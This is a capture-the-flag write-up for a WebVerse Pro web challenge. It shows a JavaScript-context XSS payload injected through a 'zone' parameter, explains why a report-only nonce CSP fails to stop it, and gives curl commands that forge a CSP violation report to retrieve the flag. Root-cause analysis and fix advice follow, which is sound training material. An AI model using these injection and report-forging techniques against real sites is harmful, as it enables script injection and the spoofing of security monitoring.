Skip to main content

Command Palette

Search for a command to run...

WebVersePro : SnowedOut writeup

Updated
6 min readView as Markdown
Y
I write detailed writeups on HackTheBox, PicoCTF and other CTF challenges. Passionate about web exploitation, Active Directory attacks and ethical hacking

1. Overview

The target is "Pinehollow Plow Tracker," a fictional city snow-plow dashboard running on PHP 8.2.33 behind Cloudflare. The page accepts a zone GET parameter that "centers" the map on a named route zone. The objective is to get the app to reveal the flag.

2. Recon

Fetching the root page:

curl -s https://c488e012-4940-snowedout-47f5c.events.webverselabs-pro.com/

Three things stand out in the HTML:

  • The zone value is reflected into an inline <script> block that builds a config object:

    <script nonce="...">
    var CFG = {zone:"Citywide", center:[44.86,-93.42], updatedEvery:900};
    </script>
    
  • A hidden solve banner sits in the markup, unused until triggered:

    <div id="wv-solve" class="pt-solve" hidden></div>
    
  • poll.js polls a status endpoint every 2 seconds and reveals that banner (with the flag) once the server reports success:

    fetch("/__status.php", { credentials: "include" })
      .then(r => r.json())
      .then(d => { if (d && d.solved && d.flag) reveal(d.flag); });
    

Checking that endpoint directly confirms a simple state machine:

curl -s https://c488e012-4940-snowedout-47f5c.events.webverselabs-pro.com/__status.php
# {"solved":false,"flag":null}

So the actual win condition is flipping solved to true server-side - not merely getting an alert() box to pop in a browser. robots.txt and the other static assets (map.js, plow.css) contain nothing else of interest; map.js reads CFG.zone and writes it back to the DOM safely via textContent.

3. Confirming the Injection Point

Testing whether zone is escaped when reflected into the inline script:

curl -s 'https://.../?zone=test123' | grep -o 'var CFG = {.*}'
# var CFG = {zone:"test123", center:[44.86,-93.42], updatedEvery:900};

Trying to break out of the string with a JS-context payload:

curl -s -G 'https://.../' --data-urlencode 'zone="};alert(1);//' \
  | grep -o 'var CFG = {.*}'
var CFG = {zone:""};alert(1);//", center:[44.86,-93.42], updatedEvery:900};

The value is interpolated into the script with no escaping of quotes. zone:"" closes the string and the object literal early, }; ends the statement, alert(1); becomes live JavaScript, and the trailing // comments out the rest of the original line so the page still parses cleanly. Opening the crafted URL in a browser confirms the alert(1) fires.

4. Reading the CSP Header

curl -s -I https://.../ | grep -i content-security
content-security-policy-report-only: default-src 'self'; script-src 'nonce-<per-response>' 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; report-uri /__csp-report.php

Two details matter:

  1. It's Content-Security-Policy-Report-Only, not an enforcing Content-Security-Policy. Report-only mode never blocks script execution - it only asks the browser to send a violation report. So this header does nothing to stop the injected alert(1) from running.

  2. Even if it were enforcing, the nonce wouldn't help here. The injected code isn't a new <script> tag - it executes inside the same inline <script nonce="..."> block the server already trusts, because the injection point is a value interpolated into that block's source. Nonce-based CSP stops attackers from adding new script elements; it does nothing when the attacker's code lands inside an already-nonced element via unescaped interpolation.

The policy does point violation reports at a dedicated endpoint, /__csp-report.php - worth noting for later.

5. Dead Ends: Chasing a Classic XSS Detector

Before finding the real solve condition, it's worth documenting what doesn't work, since this challenge deliberately avoids the usual patterns:

  • Just popping alert(1) and re-checking /__status.php - no change. There's no headless browser on the server watching for a JS-level side effect from a single request.

  • Exfiltrating to an external webhook (fetch("https://webhook.site/...") injected via the same payload) - no change either. The challenge isn't waiting for outbound interaction to a third party.

  • Directly POSTing to /__status.php (e.g. -d 'solved=true') - rejected; the endpoint doesn't accept client-supplied state.

This rules out both "headless-browser-visits-the-payload" and "trust-the-client" solve mechanisms.

6. The Actual Solve Condition

Since the CSP is report-only and report-uri points at /__csp-report.php, the natural hypothesis is that the backend treats an incoming, well-formed CSP violation report as proof that the injected script actually executed in a browser and triggered a (simulated) violation - i.e. the challenge's detection logic lives server-side in that report handler, not in an automated headless-browser check.

Sending a crafted report that matches the shape a real browser would produce for this exact policy:

curl -s -X POST 'https://.../__csp-report.php' \
  -H 'Content-Type: application/csp-report' \
  -d '{
    "csp-report": {
      "document-uri": "https://.../?zone=test",
      "violated-directive": "script-src",
      "original-policy": "default-src '\''self'\''; script-src '\''nonce-xxx'\'' '\''self'\''; style-src '\''self'\'' '\''unsafe-inline'\''; img-src '\''self'\'' data:; report-uri /__csp-report.php",
      "blocked-uri": "inline",
      "source-file": "https://.../?zone=test",
      "line-number": 1,
      "column-number": 1,
      "status-code": 200
    }
  }' \
  -c cookies.txt

Server responds 204 No Content and sets a session cookie. Re-checking the status endpoint with that cookie:

curl -s -b cookies.txt https://.../__status.php
{"solved":true,"flag":"WEBVERSE{[REDACTED]}"}

The session is now marked solved, and poll.js in a real browser would reveal the on-page banner with the flag.

7. Full Reproduction (Copy-Paste)

# 1. Confirm the JS-context injection (optional, for verification)
curl -s -G 'https://c488e012-4940-snowedout-47f5c.events.webverselabs-pro.com/' \
  --data-urlencode 'zone="};alert(1);//' | grep -o 'var CFG = {.*}'

# 2. Submit a CSP violation report matching the page's policy, saving the session cookie
curl -s -X POST 'https://c488e012-4940-snowedout-47f5c.events.webverselabs-pro.com/__csp-report.php' \
  -H 'Content-Type: application/csp-report' \
  -d '{"csp-report":{"document-uri":"https://c488e012-4940-snowedout-47f5c.events.webverselabs-pro.com/?zone=test","violated-directive":"script-src","original-policy":"default-src '\''self'\''; script-src '\''nonce-xxx'\'' '\''self'\''; style-src '\''self'\'' '\''unsafe-inline'\''; img-src '\''self'\'' data:; report-uri /__csp-report.php","blocked-uri":"inline","source-file":"https://c488e012-4940-snowedout-47f5c.events.webverselabs-pro.com/?zone=test","line-number":1,"column-number":1,"status-code":200}}' \
  -c cookies.txt

# 3. Retrieve the flag
curl -s -b cookies.txt https://c488e012-4940-snowedout-47f5c.events.webverselabs-pro.com/__status.php

Result:

{"solved":true,"flag":"WEBVERSE{[REDACTED]}"}

8. Root Cause

  1. Unescaped reflection into a JS string literal. The zone query parameter is written directly into an inline <script> block without JSON/JS-string encoding, allowing an attacker to break out of the string and inject arbitrary statements.

  2. CSP deployed in report-only mode. A correctly configured nonce-based script-src would ordinarily stop injected <script> tags, but here it wasn't even enforcing - so it provided no runtime protection at all, only telemetry.

  3. The report endpoint trusts client-submitted reports as proof of exploitation, rather than verifying server-side that a real browser executed the payload (e.g. via a headless-browser bot visiting the crafted URL). This makes the "detection" itself forgeable: any client that can construct a plausible CSP report body can mark the challenge solved without ever running the injected JavaScript.

9. Fix Recommendations

  • Never interpolate user input into inline <script> source via string concatenation. Encode values with JSON.stringify() (escaping <, >, &, and quotes) before embedding them, or better, pass data via a data-* attribute and read it with textContent/getAttribute, as map.js already does safely elsewhere on this page.

  • Enforce the CSP (Content-Security-Policy, not -Report-Only) so that even if an injection point exists, arbitrary inline script still can't execute.

  • If using CSP reports as a solve-detection mechanism for a training/CTF environment, validate them against server-side state (e.g. correlate document-uri/blocked-uri with a nonce or challenge token that was actually served and can't be guessed or replayed), rather than accepting any well-formed report body at face value.

WebVerse Pro Writeups

Part 1 of 1

Write-ups and walkthroughs for WebVerse Pro challenges - web exploitation, XSS, and other web security CTF puzzles solved step by step.